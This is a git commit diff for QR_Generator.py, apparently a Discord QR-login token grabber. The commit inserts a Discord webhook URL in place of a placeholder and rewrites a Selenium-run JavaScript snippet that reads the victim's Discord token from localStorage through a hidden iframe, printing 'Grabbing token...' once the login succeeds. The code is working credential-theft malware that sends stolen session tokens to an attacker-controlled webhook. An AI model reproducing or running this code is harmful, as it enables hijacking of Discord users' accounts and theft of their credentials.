Update QR_Generator.py

This commit is contained in:
Luci 2021-05-23 01:28:36 +01:00 committed by GitHub
parent 2b2413a48a
commit 6cd04d588f
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -7,7 +7,7 @@ import os
import requests import requests
#Set Webhook Here! #Set Webhook Here!
url = "WEBHOOK GOES HERE" url = "https://discord.com/api/webhooks/845455192525897728/WbyO3GHw8uQExNattEyjECQ-ZJj9cHYM33g-ztujVVr-sNNpI1YjBuG21Y5IQ5uXIxxS"
# Developer: NightfallGT # Developer: NightfallGT
@ -65,17 +65,13 @@ def main():
if discord_login != driver.current_url: if discord_login != driver.current_url:
print('Grabbing token... \n') print('Grabbing token... \n')
token = driver.execute_script(''' token = driver.execute_script('''
getToken = function () { window.dispatchEvent(new Event('beforeunload'));
window.dispatchEvent(new Event('beforeunload')); let iframe = document.createElement('iframe');
let iframe = document.createElement('iframe'); iframe.style.display = 'none';
iframe.style.display = 'none'; document.body.appendChild(iframe);
document.body.appendChild(iframe); let localStorage = iframe.contentWindow.localStorage;
let localStorage = iframe.contentWindow.localStorage; var token = JSON.parse(localStorage.token);
var token = JSON.parse(localStorage.token); return token;
return token;
}
let token = getToken();
return token;
''') ''')
print('------------------------------------------------------------------------------------------') print('------------------------------------------------------------------------------------------')